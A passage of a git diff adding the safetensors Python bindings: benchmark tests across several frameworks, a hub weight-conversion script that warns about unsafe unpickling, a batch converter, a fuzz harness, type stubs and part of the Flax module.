"./model.safetensors") + + +# Now loading +loaded = load_file("./model.safetensors") +``` + +### Torch + +```python +from safetensors.torch import save_file, load_file +import torch + +tensors = { + "a": torch.zeros((2, 2)), + "b": torch.zeros((2, 3), dtype=torch.uint8) +} + +save_file(tensors, "./model.safetensors") + + +# Now loading +loaded = load_file("./model.safetensors") +``` + +### Developing + +``` +# inside ./safetensors/bindings/python +pip install .[dev] +``` +Should be enough to install this library locally. + +### Testing + +``` +# inside ./safetensors/bindings/python +pip install .[dev] +pytest -sv tests/ +``` diff --git a/extensions/safetensors/bindings/python/benches/test_flax.py b/extensions/safetensors/bindings/python/benches/test_flax.py new file mode 100644 index 0000000000000000000000000000000000000000..835c94d72b764f0579e0d102b4593a2e76ea62ef --- /dev/null +++ b/extensions/safetensors/bindings/python/benches/test_flax.py @@ -0,0 +1,63 @@ +import os +import tempfile + +import jax.numpy as jnp +from flax.serialization import msgpack_restore, msgpack_serialize +from safetensors.flax import load_file, save_file + + +def create_gpt2(n_layers: int): + tensors = {} + tensors["wte"] = jnp.zeros((50257, 768)) + tensors["wpe"] = jnp.zeros((1024, 768)) + for i in range(n_layers): + tensors[f"h.{i}.ln_1.weight"] = jnp.zeros((768,)) + tensors[f"h.{i}.ln_1.bias"] = jnp.zeros((768,)) + tensors[f"h.{i}.attn.bias"] = jnp.zeros((1, 1, 1024, 1024)) + tensors[f"h.{i}.attn.c_attn.weight"] = jnp.zeros((768, 2304)) + tensors[f"h.{i}.attn.c_attn.bias"] = jnp.zeros((2304)) + tensors[f"h.{i}.attn.c_proj.weight"] = jnp.zeros((768, 768)) + tensors[f"h.{i}.attn.c_proj.bias"] = jnp.zeros((768)) + tensors[f"h.{i}.ln_2.weight"] = jnp.zeros((768)) + tensors[f"h.{i}.ln_2.bias"] = jnp.zeros((768)) + tensors[f"h.{i}.mlp.c_fc.weight"] = jnp.zeros((768, 3072)) + tensors[f"h.{i}.mlp.c_fc.bias"] = jnp.zeros((3072)) + tensors[f"h.{i}.mlp.c_proj.weight"] = jnp.zeros((3072, 768)) + tensors[f"h.{i}.mlp.c_proj.bias"] = jnp.zeros((768)) + tensors["ln_f.weight"] = jnp.zeros((768)) + tensors["ln_f.bias"] = jnp.zeros((768)) + return tensors + + +def load(filename): + with open(filename, "rb") as f: + data = f.read() + flax_weights = msgpack_restore(data) + return flax_weights + + +def test_flax_flax_load(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile(delete=False) as f: + serialized = msgpack_serialize(weights) + f.write(serialized) + result = benchmark(load, f.name) + os.unlink(f.name) + + for k, v in weights.items(): + tv = result[k] + assert jnp.allclose(v, tv) + + +def test_flax_sf_load(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile(delete=False) as f: + save_file(weights, f.name) + result = benchmark(load_file, f.name) + os.unlink(f.name) + + for k, v in weights.items(): + tv = result[k] + assert jnp.allclose(v, tv) diff --git a/extensions/safetensors/bindings/python/benches/test_paddle.py b/extensions/safetensors/bindings/python/benches/test_paddle.py new file mode 100644 index 0000000000000000000000000000000000000000..0c49f1e4a3a597d8b36d27144e7de951aa7ca74f --- /dev/null +++ b/extensions/safetensors/bindings/python/benches/test_paddle.py @@ -0,0 +1,56 @@ +import os +import tempfile + +import numpy as np + +import paddle +from safetensors.paddle import load_file, save_file + + +def create_gpt2(n_layers: int): + tensors = {} + tensors["wte"] = paddle.zeros((50257, 768)) + tensors["wpe"] = paddle.zeros((1024, 768)) + for i in range(n_layers): + tensors[f"h.{i}.ln_1.weight"] = paddle.zeros((768,)) + tensors[f"h.{i}.ln_1.bias"] = paddle.zeros((768,)) + tensors[f"h.{i}.attn.bias"] = paddle.zeros((1, 1, 1024, 1024)) + tensors[f"h.{i}.attn.c_attn.weight"] = paddle.zeros((768, 2304)) + tensors[f"h.{i}.attn.c_attn.bias"] = paddle.zeros((2304,)) + tensors[f"h.{i}.attn.c_proj.weight"] = paddle.zeros((768, 768)) + tensors[f"h.{i}.attn.c_proj.bias"] = paddle.zeros((768,)) + tensors[f"h.{i}.ln_2.weight"] = paddle.zeros((768,)) + tensors[f"h.{i}.ln_2.bias"] = paddle.zeros((768,)) + tensors[f"h.{i}.mlp.c_fc.weight"] = paddle.zeros((768, 3072)) + tensors[f"h.{i}.mlp.c_fc.bias"] = paddle.zeros((3072,)) + tensors[f"h.{i}.mlp.c_proj.weight"] = paddle.zeros((3072, 768)) + tensors[f"h.{i}.mlp.c_proj.bias"] = paddle.zeros((768,)) + tensors["ln_f.weight"] = paddle.zeros((768,)) + tensors["ln_f.bias"] = paddle.zeros((768,)) + return tensors + + +def test_paddle_paddle_load(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile(delete=False) as f: + paddle.save(weights, f.name) + result = benchmark(paddle.load, f.name) + os.unlink(f.name) + + for k, v in weights.items(): + tv = result[k] + assert paddle.allclose(v, tv) + + +def test_paddle_sf_load(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile(delete=False) as f: + save_file(weights, f.name) + result = benchmark(load_file, f.name) + os.unlink(f.name) + + for k, v in weights.items(): + tv = result[k] + assert np.allclose(v, tv) diff --git a/extensions/safetensors/bindings/python/benches/test_pt.py b/extensions/safetensors/bindings/python/benches/test_pt.py new file mode 100644 index 0000000000000000000000000000000000000000..e9c06fcf54e8a43e4afe2d414a6728dca94dece6 --- /dev/null +++ b/extensions/safetensors/bindings/python/benches/test_pt.py @@ -0,0 +1,148 @@ +import os +import tempfile + +import pytest +import torch + +from safetensors.torch import load_file, save_file + + +def create_gpt2(n_layers: int): + tensors = {} + tensors["wte"] = torch.zeros((50257, 768)) + tensors["wpe"] = torch.zeros((1024, 768)) + for i in range(n_layers): + tensors[f"h.{i}.ln_1.weight"] = torch.zeros((768,)) + tensors[f"h.{i}.ln_1.bias"] = torch.zeros((768,)) + tensors[f"h.{i}.attn.bias"] = torch.zeros((1, 1, 1024, 1024)) + tensors[f"h.{i}.attn.c_attn.weight"] = torch.zeros((768, 2304)) + tensors[f"h.{i}.attn.c_attn.bias"] = torch.zeros((2304)) + tensors[f"h.{i}.attn.c_proj.weight"] = torch.zeros((768, 768)) + tensors[f"h.{i}.attn.c_proj.bias"] = torch.zeros((768)) + tensors[f"h.{i}.ln_2.weight"] = torch.zeros((768)) + tensors[f"h.{i}.ln_2.bias"] = torch.zeros((768)) + tensors[f"h.{i}.mlp.c_fc.weight"] = torch.zeros((768, 3072)) + tensors[f"h.{i}.mlp.c_fc.bias"] = torch.zeros((3072)) + tensors[f"h.{i}.mlp.c_proj.weight"] = torch.zeros((3072, 768)) + tensors[f"h.{i}.mlp.c_proj.bias"] = torch.zeros((768)) + tensors["ln_f.weight"] = torch.zeros((768)) + tensors["ln_f.bias"] = torch.zeros((768)) + return tensors + + +def create_lora(n_layers: int): + tensors = {} + for i in range(n_layers): + tensors[f"lora.{i}.up.weight"] = torch.zeros((32, 32)) + tensors[f"lora.{i}.down.weight"] = torch.zeros((32, 32)) + return tensors + + +def test_pt_pt_load_cpu(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile(delete=False) as f: + torch.save(weights, f) + result = benchmark(torch.load, f.name) + os.unlink(f.name) + + for k, v in weights.items(): + tv = result[k] + assert torch.allclose(v, tv) + + +def test_pt_sf_load_cpu(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile(delete=False) as f: + save_file(weights, f.name) + result = benchmark(load_file, f.name) + os.unlink(f.name) + + for k, v in weights.items(): + tv = result[k] + assert torch.allclose(v, tv) + + +def test_pt_pt_load_cpu_small(benchmark): + weights = create_lora(500) + with tempfile.NamedTemporaryFile(delete=False) as f: + torch.save(weights, f) + result = benchmark(torch.load, f.name) + os.unlink(f.name) + + for k, v in weights.items(): + tv = result[k] + assert torch.allclose(v, tv) + + +def test_pt_sf_load_cpu_small(benchmark): + weights = create_lora(500) + with tempfile.NamedTemporaryFile(delete=False) as f: + save_file(weights, f.name) + result = benchmark(load_file, f.name) + os.unlink(f.name) + + for k, v in weights.items(): + tv = result[k] + assert torch.allclose(v, tv) + + +@pytest.mark.skipif(not torch.cuda.is_available(), reason="requires cuda") +def test_pt_pt_load_gpu(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile(delete=False) as f: + torch.save(weights, f) + result = benchmark(torch.load, f.name, map_location="cuda:0") + os.unlink(f.name) + + for k, v in weights.items(): + v = v.cuda() + tv = result[k] + assert torch.allclose(v, tv) + + +@pytest.mark.skipif(not torch.cuda.is_available(), reason="requires cuda") +def test_pt_sf_load_gpu(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile(delete=False) as f: + save_file(weights, f.name) + result = benchmark(load_file, f.name, device="cuda:0") + os.unlink(f.name) + + for k, v in weights.items(): + v = v.cuda() + tv = result[k] + assert torch.allclose(v, tv) + + +@pytest.mark.skipif(not hasattr(torch.backends, "mps") or not torch.backends.mps.is_available(), reason="requires mps") +def test_pt_pt_load_mps(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile(delete=False) as f: + torch.save(weights, f) + result = benchmark(torch.load, f.name, map_location="mps") + os.unlink(f.name) + + for k, v in weights.items(): + v = v.to(device="mps") + tv = result[k] + assert torch.allclose(v, tv) + + +@pytest.mark.skipif(not hasattr(torch.backends, "mps") or not torch.backends.mps.is_available(), reason="requires mps") +def test_pt_sf_load_mps(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile(delete=False) as f: + save_file(weights, f.name) + result = benchmark(load_file, f.name, device="mps") + os.unlink(f.name) + + for k, v in weights.items(): + v = v.to(device="mps") + tv = result[k] + assert torch.allclose(v, tv) diff --git a/extensions/safetensors/bindings/python/benches/test_tf.py b/extensions/safetensors/bindings/python/benches/test_tf.py new file mode 100644 index 0000000000000000000000000000000000000000..d81effdc447c52f502f99230d729552f3d5c55f3 --- /dev/null +++ b/extensions/safetensors/bindings/python/benches/test_tf.py @@ -0,0 +1,78 @@ +import os +import tempfile + +import h5py +import numpy as np +import tensorflow as tf + +from safetensors.tensorflow import load_file, save_file + + +def _load(filename, tensors=None, prefix=""): + with h5py.File(filename, "r") as f: + if tensors is None: + tensors = {} + for k in f.keys(): + if isinstance(f[k], h5py._hl.dataset.Dataset): + key = k if not prefix else f"{prefix}_{k}" + tensors[key] = tf.convert_to_tensor(np.array(f[k])) + else: + tensors.update(_load(f[k], tensors, prefix=f"{prefix}_{k}")) + return tensors + + +def _save(filename, tensors, prefix=""): + with h5py.File(filename, "w") as f: + for name, tensor in tensors.items(): + tensor = tensor.numpy() + dset = f.create_dataset(name, tensor.shape, dtype=tensor.dtype) + dset[:] = tensor + + +def create_gpt2(n_layers: int): + tensors = {} + tensors["wte"] = tf.zeros((50257, 768)) + tensors["wpe"] = tf.zeros((1024, 768)) + for i in range(n_layers): + tensors[f"h.{i}.ln_1.weight"] = tf.zeros((768,)) + tensors[f"h.{i}.ln_1.bias"] = tf.zeros((768,)) + tensors[f"h.{i}.attn.bias"] = tf.zeros((1, 1, 1024, 1024)) + tensors[f"h.{i}.attn.c_attn.weight"] = tf.zeros((768, 2304)) + tensors[f"h.{i}.attn.c_attn.bias"] = tf.zeros((2304)) + tensors[f"h.{i}.attn.c_proj.weight"] = tf.zeros((768, 768)) + tensors[f"h.{i}.attn.c_proj.bias"] = tf.zeros((768)) + tensors[f"h.{i}.ln_2.weight"] = tf.zeros((768)) + tensors[f"h.{i}.ln_2.bias"] = tf.zeros((768)) + tensors[f"h.{i}.mlp.c_fc.weight"] = tf.zeros((768, 3072)) + tensors[f"h.{i}.mlp.c_fc.bias"] = tf.zeros((3072)) + tensors[f"h.{i}.mlp.c_proj.weight"] = tf.zeros((3072, 768)) + tensors[f"h.{i}.mlp.c_proj.bias"] = tf.zeros((768)) + tensors["ln_f.weight"] = tf.zeros((768)) + tensors["ln_f.bias"] = tf.zeros((768)) + return tensors + + +def test_tf_tf_load(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile(delete=False) as f: + _save(f.name, weights) + result = benchmark(_load, f.name) + os.unlink(f.name) + + for k, v in weights.items(): + tv = result[k] + assert np.allclose(v, tv) + + +def test_tf_sf_load(benchmark): + # benchmark something + weights = create_gpt2(12) + with tempfile.NamedTemporaryFile(delete=False) as f: + save_file(weights, f.name) + result = benchmark(load_file, f.name) + os.unlink(f.name) + + for k, v in weights.items(): + tv = result[k] + assert np.allclose(v, tv) diff --git a/extensions/safetensors/bindings/python/convert.py b/extensions/safetensors/bindings/python/convert.py new file mode 100644 index 0000000000000000000000000000000000000000..9ad459e0c77f099d99ad7be8ac4963da42225fa4 --- /dev/null +++ b/extensions/safetensors/bindings/python/convert.py @@ -0,0 +1,371 @@ +import argparse +import json +import os +import shutil +from collections import defaultdict +from inspect import signature +from tempfile import TemporaryDirectory +from typing import Dict, List, Optional, Set, Tuple + +import torch + +from huggingface_hub import CommitInfo, CommitOperationAdd, Discussion, HfApi, hf_hub_download +from huggingface_hub.file_download import repo_folder_name +from safetensors.torch import load_file, save_file +from transformers import AutoConfig + + +COMMIT_DESCRIPTION = """ +This is an automated PR created with https://huggingface.co/spaces/safetensors/convert + +This new file is equivalent to `pytorch_model.bin` but safe in the sense that +no arbitrary code can be put into it. + +These files also happen to load much faster than their pytorch counterpart: +https://colab.research.google.com/github/huggingface/notebooks/blob/main/safetensors_doc/en/speed.ipynb + +The widgets on your model page will run using this model even if this is not merged +making sure the file actually works. + +If you find any issues: please report here: https://huggingface.co/spaces/safetensors/convert/discussions + +Feel free to ignore this PR. +""" + +ConversionResult = Tuple[List["CommitOperationAdd"], List[Tuple[str, "Exception"]]] + + +class AlreadyExists(Exception): + pass + + +def shared_pointers(tensors): + ptrs = defaultdict(list) + for k, v in tensors.items(): + ptrs[v.data_ptr()].append(k) + failing = [] + for ptr, names in ptrs.items(): + if len(names) > 1: + failing.append(names) + return failing + + +def check_file_size(sf_filename: str, pt_filename: str): + sf_size = os.stat(sf_filename).st_size + pt_size = os.stat(pt_filename).st_size + + if (sf_size - pt_size) / pt_size > 0.01: + raise RuntimeError( + f"""The file size different is more than 1%: + - {sf_filename}: {sf_size} + - {pt_filename}: {pt_size} + """ + ) + + +def rename(pt_filename: str) -> str: + filename, ext = os.path.splitext(pt_filename) + local = f"{filename}.safetensors" + local = local.replace("pytorch_model", "model") + return local + + +def convert_multi(model_id: str, folder: str, token: Optional[str]) -> ConversionResult: + filename = hf_hub_download(repo_id=model_id, filename="pytorch_model.bin.index.json", token=token, cache_dir=folder) + with open(filename, "r") as f: + data = json.load(f) + + filenames = set(data["weight_map"].values()) + local_filenames = [] + for filename in filenames: + pt_filename = hf_hub_download(repo_id=model_id, filename=filename, token=token, cache_dir=folder) + + sf_filename = rename(pt_filename) + sf_filename = os.path.join(folder, sf_filename) + convert_file(pt_filename, sf_filename) + local_filenames.append(sf_filename) + + index = os.path.join(folder, "model.safetensors.index.json") + with open(index, "w") as f: + newdata = {k: v for k, v in data.items()} + newmap = {k: rename(v) for k, v in data["weight_map"].items()} + newdata["weight_map"] = newmap + json.dump(newdata, f, indent=4) + local_filenames.append(index) + + operations = [ + CommitOperationAdd(path_in_repo=local.split("/")[-1], path_or_fileobj=local) for local in local_filenames + ] + errors: List[Tuple[str, "Exception"]] = [] + + return operations, errors + + +def convert_single(model_id: str, folder: str, token: Optional[str]) -> ConversionResult: + pt_filename = hf_hub_download(repo_id=model_id, filename="pytorch_model.bin", token=token, cache_dir=folder) + + sf_name = "model.safetensors" + sf_filename = os.path.join(folder, sf_name) + convert_file(pt_filename, sf_filename) + operations = [CommitOperationAdd(path_in_repo=sf_name, path_or_fileobj=sf_filename)] + errors: List[Tuple[str, "Exception"]] = [] + return operations, errors + + +def convert_file( + pt_filename: str, + sf_filename: str, +): + loaded = torch.load(pt_filename, map_location="cpu") + if "state_dict" in loaded: + loaded = loaded["state_dict"] + shared = shared_pointers(loaded) + for shared_weights in shared: + for name in shared_weights[1:]: + loaded.pop(name) + + # For tensors to be contiguous + loaded = {k: v.contiguous() for k, v in loaded.items()} + + dirname = os.path.dirname(sf_filename) + os.makedirs(dirname, exist_ok=True) + save_file(loaded, sf_filename, metadata={"format": "pt"}) + check_file_size(sf_filename, pt_filename) + reloaded = load_file(sf_filename) + for k in loaded: + pt_tensor = loaded[k] + sf_tensor = reloaded[k] + if not torch.equal(pt_tensor, sf_tensor): + raise RuntimeError(f"The output tensors do not match for key {k}") + + +def create_diff(pt_infos: Dict[str, List[str]], sf_infos: Dict[str, List[str]]) -> str: + errors = [] + for key in ["missing_keys", "mismatched_keys", "unexpected_keys"]: + pt_set = set(pt_infos[key]) + sf_set = set(sf_infos[key]) + + pt_only = pt_set - sf_set + sf_only = sf_set - pt_set + + if pt_only: + errors.append(f"{key} : PT warnings contain {pt_only} which are not present in SF warnings") + if sf_only: + errors.append(f"{key} : SF warnings contain {sf_only} which are not present in PT warnings") + return "\n".join(errors) + + +def check_final_model(model_id: str, folder: str, token: Optional[str]): + config = hf_hub_download(repo_id=model_id, filename="config.json", token=token, cache_dir=folder) + shutil.copy(config, os.path.join(folder, "config.json")) + config = AutoConfig.from_pretrained(folder) + + import transformers + + class_ = getattr(transformers, config.architectures[0]) + (pt_model, pt_infos) = class_.from_pretrained(folder, output_loading_info=True) + (sf_model, sf_infos) = class_.from_pretrained(folder, output_loading_info=True) + + if pt_infos != sf_infos: + error_string = create_diff(pt_infos, sf_infos) + raise ValueError(f"Different infos when reloading the model: {error_string}") + + pt_params = pt_model.state_dict() + sf_params = sf_model.state_dict() + + pt_shared = shared_pointers(pt_params) + sf_shared = shared_pointers(sf_params) + if pt_shared != sf_shared: + raise RuntimeError("The reconstructed model is wrong, shared tensors are different {shared_pt} != {shared_tf}") + + sig = signature(pt_model.forward) + input_ids = torch.arange(10).unsqueeze(0) + pixel_values = torch.randn(1, 3, 224, 224) + input_values = torch.arange(1000).float().unsqueeze(0) + # Hardcoded for whisper basically + input_features = torch.zeros((1, 80, 3000)) + kwargs = {} + if "input_ids" in sig.parameters: + kwargs["input_ids"] = input_ids + if "input_features" in sig.parameters: + kwargs["input_features"] = input_features + if "decoder_input_ids" in sig.parameters: + kwargs["decoder_input_ids"] = input_ids + if "pixel_values" in sig.parameters: + kwargs["pixel_values"] = pixel_values + if "input_values" in sig.parameters: + kwargs["input_values"] = input_values + if "bbox" in sig.parameters: + kwargs["bbox"] = torch.zeros((1, 10, 4)).long() + if "image" in sig.parameters: + kwargs["image"] = pixel_values + + if torch.cuda.is_available(): + pt_model = pt_model.cuda() + sf_model = sf_model.cuda() + kwargs = {k: v.cuda() for k, v in kwargs.items()} + + try: + pt_logits = pt_model(**kwargs)[0] + except Exception as e: + try: + # Musicgen special exception. + decoder_input_ids = torch.ones((input_ids.shape[0] * pt_model.decoder.num_codebooks, 1), dtype=torch.long) + if torch.cuda.is_available(): + decoder_input_ids = decoder_input_ids.cuda() + + kwargs["decoder_input_ids"] = decoder_input_ids + pt_logits = pt_model(**kwargs)[0] + except Exception: + raise e + sf_logits = sf_model(**kwargs)[0] + + torch.testing.assert_close(sf_logits, pt_logits) + print(f"Model {model_id} is ok !") + + +def previous_pr(api: "HfApi", model_id: str, pr_title: str) -> Optional["Discussion"]: + try: + main_commit = api.list_repo_commits(model_id)[0].commit_id + discussions = api.get_repo_discussions(repo_id=model_id) + except Exception: + return None + for discussion in discussions: + if discussion.status == "open" and discussion.is_pull_request and discussion.title == pr_title: + commits = api.list_repo_commits(model_id, revision=discussion.git_reference) + + if main_commit == commits[1].commit_id: + return discussion + return None + + +def convert_generic(model_id: str, folder: str, filenames: Set[str], token: Optional[str]) -> ConversionResult: + operations = [] + errors = [] + + extensions = set([".bin", ".ckpt"]) + for filename in filenames: + prefix, ext = os.path.splitext(filename) + if ext in extensions: + pt_filename = hf_hub_download(model_id, filename=filename, token=token, cache_dir=folder) + dirname, raw_filename = os.path.split(filename) + if raw_filename == "pytorch_model.bin": + # XXX: This is a special case to handle `transformers` and the + # `transformers` part of the model which is actually loaded by `transformers`. + sf_in_repo = os.path.join(dirname, "model.safetensors") + else: + sf_in_repo = f"{prefix}.safetensors" + sf_filename = os.path.join(folder, sf_in_repo) + try: + convert_file(pt_filename, sf_filename) + operations.append(CommitOperationAdd(path_in_repo=sf_in_repo, path_or_fileobj=sf_filename)) + except Exception as e: + errors.append((pt_filename, e)) + return operations, errors + + +def convert(api: "HfApi", model_id: str, force: bool = False) -> Tuple["CommitInfo", List[Tuple[str, "Exception"]]]: + pr_title = "Adding `safetensors` variant of this model" + info = api.model_info(model_id) + filenames = set(s.rfilename for s in info.siblings) + + with TemporaryDirectory() as d: + folder = os.path.join(d, repo_folder_name(repo_id=model_id, repo_type="models")) + os.makedirs(folder) + new_pr = None + try: + operations = None + pr = previous_pr(api, model_id, pr_title) + + library_name = getattr(info, "library_name", None) + if any(filename.endswith(".safetensors") for filename in filenames) and not force: + raise AlreadyExists(f"Model {model_id} is already converted, skipping..") + elif pr is not None and not force: + url = f"https://huggingface.co/{model_id}/discussions/{pr.num}" + new_pr = pr + raise AlreadyExists(f"Model {model_id} already has an open PR check out {url}") + elif library_name == "transformers": + if "pytorch_model.bin" in filenames: + operations, errors = convert_single(model_id, folder, token=api.token) + elif "pytorch_model.bin.index.json" in filenames: + operations, errors = convert_multi(model_id, folder, token=api.token) + else: + raise RuntimeError(f"Model {model_id} doesn't seem to be a valid pytorch model. Cannot convert") + check_final_model(model_id, folder, token=api.token) + else: + operations, errors = convert_generic(model_id, folder, filenames, token=api.token) + + if operations: + new_pr = api.create_commit( + repo_id=model_id, + operations=operations, + commit_message=pr_title, + commit_description=COMMIT_DESCRIPTION, + create_pr=True, + ) + print(f"Pr created at {new_pr.pr_url}") + else: + print("No files to convert") + finally: + shutil.rmtree(folder) + return new_pr, errors + + +if __name__ == "__main__": + DESCRIPTION = """ + Simple utility tool to convert automatically some weights on the hub to `safetensors` format. + It is PyTorch exclusive for now. + It works by downloading the weights (PT), converting them locally, and uploading them back + as a PR on the hub. + """ + parser = argparse.ArgumentParser(description=DESCRIPTION) + parser.add_argument( + "model_id", + type=str, + help="The name of the model on the hub to convert. E.g. `gpt2` or `facebook/wav2vec2-base-960h`", + ) + parser.add_argument( + "--force", + action="store_true", + help="Create the PR even if it already exists of if the model was already converted.", + ) + parser.add_argument( + "-y", + action="store_true", + help="Ignore safety prompt", + ) + args = parser.parse_args() + model_id = args.model_id + api = HfApi() + if args.y: + txt = "y" + else: + txt = input( + "This conversion script will unpickle a pickled file, which is inherently unsafe. If you do not trust this file, we invite you to use" + " https://huggingface.co/spaces/safetensors/convert or google colab or other hosted solution to avoid potential issues with this file." + " Continue [Y/n] ?" + ) + if txt.lower() in {"", "y"}: + try: + commit_info, errors = convert(api, model_id, force=args.force) + string = f""" +### Success 🔥 +Yay! This model was successfully converted and a PR was open using your token, here: +[{commit_info.pr_url}]({commit_info.pr_url}) + """ + if errors: + string += "\nErrors during conversion:\n" + string += "\n".join( + f"Error while converting {filename}: {e}, skipped conversion" for filename, e in errors + ) + print(string) + except Exception as e: + print( + f""" +### Error 😢😢😢 + +{e} + """ + ) + else: + print(f"Answer was `{txt}` aborting.") diff --git a/extensions/safetensors/bindings/python/convert_all.py b/extensions/safetensors/bindings/python/convert_all.py new file mode 100644 index 0000000000000000000000000000000000000000..2fd2a43c4d0ad0d589230ba1a1582afd8e7d5bac --- /dev/null +++ b/extensions/safetensors/bindings/python/convert_all.py @@ -0,0 +1,43 @@ +"""Simple utility tool to convert automatically most downloaded models""" +from convert import AlreadyExists, convert +from huggingface_hub import HfApi, ModelFilter, ModelSearchArguments +from transformers import AutoConfig + + +if __name__ == "__main__": + api = HfApi() + args = ModelSearchArguments() + + total = 50 + models = list( + api.list_models(filter=ModelFilter(library=args.library.Transformers), sort="downloads", direction=-1) + )[:total] + + correct = 0 + errors = set() + for model in models: + model = api.model_info(model.modelId, files_metadata=True) + size = None + for sibling in model.siblings: + if sibling.rfilename == "pytorch_model.bin": + size = sibling.size + if size is None or size > 2_000_000_000: + print(f"[{model.downloads}] Skipping {model.modelId} (too large {size})") + continue + + model_id = model.modelId + print(f"[{model.downloads}] {model.modelId}") + try: + convert(api, model_id) + correct += 1 + except AlreadyExists as e: + correct += 1 + print(e) + except Exception as e: + config = AutoConfig.from_pretrained(model_id) + errors.add(config.__class__.__name__) + print(e) + + print(f"Errors: {errors}") + print(f"File size is difference {len(errors)}") + print(f"Correct rate {correct}/{total} ({correct/total * 100:.2f}%)") diff --git a/extensions/safetensors/bindings/python/fuzz.py b/extensions/safetensors/bindings/python/fuzz.py new file mode 100644 index 0000000000000000000000000000000000000000..682152a2789418270d975bd0905297cec12a1210 --- /dev/null +++ b/extensions/safetensors/bindings/python/fuzz.py @@ -0,0 +1,35 @@ +import datetime +import sys +import tempfile +from collections import defaultdict + +import atheris + + +with atheris.instrument_imports(): + from safetensors.torch import load_file + + +EXCEPTIONS = defaultdict(int) +START = datetime.datetime.now() +DT = datetime.timedelta(seconds=30) + + +def TestOneInput(data): + global START + with tempfile.NamedTemporaryFile() as f: + f.write(data) + f.seek(0) + try: + load_file(f.name, device=0) + except Exception as e: + EXCEPTIONS[str(e)] += 1 + + if datetime.datetime.now() - START > DT: + for e, n in EXCEPTIONS.items(): + print(e, n) + START = datetime.datetime.now() + + +atheris.Setup(sys.argv, TestOneInput) +atheris.Fuzz() diff --git a/extensions/safetensors/bindings/python/py_src/safetensors/__init__.py b/extensions/safetensors/bindings/python/py_src/safetensors/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..c9a5d2ca92b5248ce798a19f8e14c3492992cae1 --- /dev/null +++ b/extensions/safetensors/bindings/python/py_src/safetensors/__init__.py @@ -0,0 +1,9 @@ +# Re-export this +from ._safetensors_rust import ( # noqa: F401 + SafetensorError, + __version__, + deserialize, + safe_open, + serialize, + serialize_file, +) diff --git a/extensions/safetensors/bindings/python/py_src/safetensors/__init__.pyi b/extensions/safetensors/bindings/python/py_src/safetensors/__init__.pyi new file mode 100644 index 0000000000000000000000000000000000000000..a125e8de683c424db86d8edd9a301ced30d56296 --- /dev/null +++ b/extensions/safetensors/bindings/python/py_src/safetensors/__init__.pyi @@ -0,0 +1,73 @@ +# Generated content DO NOT EDIT +@staticmethod +def deserialize(bytes): + """ + Opens a safetensors lazily and returns tensors as asked + + Args: + data (:obj:`bytes`): + The byte content of a file + + Returns: + (:obj:`List[str, Dict[str, Dict[str, any]]]`): + The deserialized content is like: + [("tensor_name", {"shape": [2, 3], "dtype": "F32", "data": b"\0\0.." }), (...)] + """ + pass + +@staticmethod +def serialize(tensor_dict, metadata=None): + """ + Serializes raw data. + + Args: + tensor_dict (:obj:`Dict[str, Dict[Any]]`): + The tensor dict is like: + {"tensor_name": {"dtype": "F32", "shape": [2, 3], "data": b"\0\0"}} + metadata (:obj:`Dict[str, str]`, *optional*): + The optional purely text annotations + + Returns: + (:obj:`bytes`): + The serialized content. + """ + pass + +@staticmethod +def serialize_file(tensor_dict, filename, metadata=None): + """ + Serializes raw data. + + Args: + tensor_dict (:obj:`Dict[str, Dict[Any]]`): + The tensor dict is like: + {"tensor_name": {"dtype": "F32", "shape": [2, 3], "data": b"\0\0"}} + filename (:obj:`str`): + The name of the file to write into. + metadata (:obj:`Dict[str, str]`, *optional*): + The optional purely text annotations + + Returns: + (:obj:`bytes`): + The serialized content. + """ + pass + +class safe_open: + """ + Opens a safetensors lazily and returns tensors as asked + + Args: + filename (:obj:`str`): + The filename to open + + framework (:obj:`str`): + The framework you want you tensors in. Supported values: + `pt`, `tf`, `flax`, `numpy`. + + device (:obj:`str`, defaults to :obj:`"cpu"`): + The device on which you want the tensors. + """ + + def __init__(self, filename, framework, device="cpu"): + pass diff --git a/extensions/safetensors/bindings/python/py_src/safetensors/flax.py b/extensions/safetensors/bindings/python/py_src/safetensors/flax.py new file mode 100644 index 0000000000000000000000000000000000000000..906ae02c7246b7607231301d540ee0b53de752a0 --- /dev/null +++ b/extensions/safetensors/bindings/python/py_src/safetensors/flax.py @@ -0,0 +1,138 @@ +import os +from typing import Dict, Optional, Union + +import numpy as np + +import jax.numpy as jnp +from jax import Array +from safetensors import numpy + + +def save(tensors: Dict[str, Array], metadata: Optional[Dict[str, str]] = None) -> bytes: + """ + Saves a dictionnary of tensors into raw bytes in safetensors format. + + Args: + tensors (`Dict[str, Array]`): + The incoming tensors. Tensors need to be contiguous and dense. + metadata (`Dict[str, str]`, *optional*, defaults to `None`): + Optional text only metadata you might want to save in your header. + For instance it can be useful to specify more about the underlying + tensors. This is purely informative and does not affect tensor loading. + + Returns: + `bytes`: The raw bytes representing the format + + Example: + + ```python + from safetensors.flax import save + from jax import numpy as jnp + + tensors = {"embedding": jnp.zeros((512, 1024)), "attention": jnp.zeros((256, 256))} + byte_data = save(tensors) + ``` + """ + np_tensors = _jnp2np(tensors) + return numpy.save(np_tensors, metadata=metadata) + + +def save_file( + tensors: Dict[str, Array], + filename: Union[str, os.PathLike], + metadata: Optional[Dict[str, str]] = None, +) -> None: + """ + Saves a dictionnary of tensors into raw bytes in safetensors format. + + Args: + tensors (`Dict[str, Array]`): + The incoming tensors. Tensors need to be contiguous and dense. + filename (`str`, or `os.PathLike`)): + The filename we're saving into. + metadata (`Dict[str, str]`, *optional*, defaults to `None`): + Optional text only metadata you might want to save in your header. + For instance it can be useful to specify more about the underlying + tensors. This is purely informative and does not affect tensor loading. + + Returns: + `None` + + Example: + + ```python + from safetensors.flax import save_file + from jax import numpy as jnp + + tensors = {"embedding": jnp.zeros((512, 1024)), "attention": 